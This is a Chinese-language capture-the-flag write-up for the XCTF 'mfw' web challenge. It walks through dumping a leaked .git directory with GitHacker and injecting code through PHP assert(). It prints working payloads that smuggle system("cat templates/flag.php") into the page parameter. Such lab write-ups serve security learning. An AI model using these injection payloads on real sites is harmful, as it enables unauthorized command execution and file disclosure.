当前位置: 首页 > 工具软件 > MFW > 使用案例 >

攻防世界 WEB mfw

牛华皓
2023-12-01

这题考的是两个点:Git泄露和assert函数执行代码
先说Git泄露,通过About发现该网站使用了Git,查看/.git目录发现确实存在泄露情况
那么下载GitHacker工具查看源码
pip3 install GitHacker
githacker --url http://111.200.241.244:60711/ --folder result1 //这里的folder表示的是输出文件夹
然后查看源码,在index.php里面发现assert函数

$file = “templates/” . $page . “.php”;
assert(“strpos(’$file’, ‘..’) === false”) or die(“Detected hacking attempt!”);
assert(“file_exists(’$file’)”) or die(“That file doesn’t exist!”);

下面其实做的事情和SQL注入差不多
构造page变量为abc’,’…’) or system(“cat templates/flag.php”); //
注意不要尝试闭合assert因为我们的执行权限是assert给的,闭合了assert,就无法调用system函数,也就是说要由assert去调用system
这里确实没有闭合",你可以打开浏览器的控制器的控制台看一下,服务器返回的是500,可是assert函数已经执行了所以结果还是返回给我们了
那么第一句assert就变为了

assert("strpos('templates/abc','..') or system("cat templates/flag.php"); //.php',..’) === false”) or die(“Detected hacking attempt!”);

第二个payload
‘.system(“cat templates/flag.php”).’
这个可能更好理解一点

assert(“strpos(’templates/‘.system("cat templates/flag.php").'’, ‘..’) === false”) or die(“Detected hacking attempt!”);

参考视频链接:https://www.bilibili.com/video/BV1mo4y1U7xp/

 类似资料: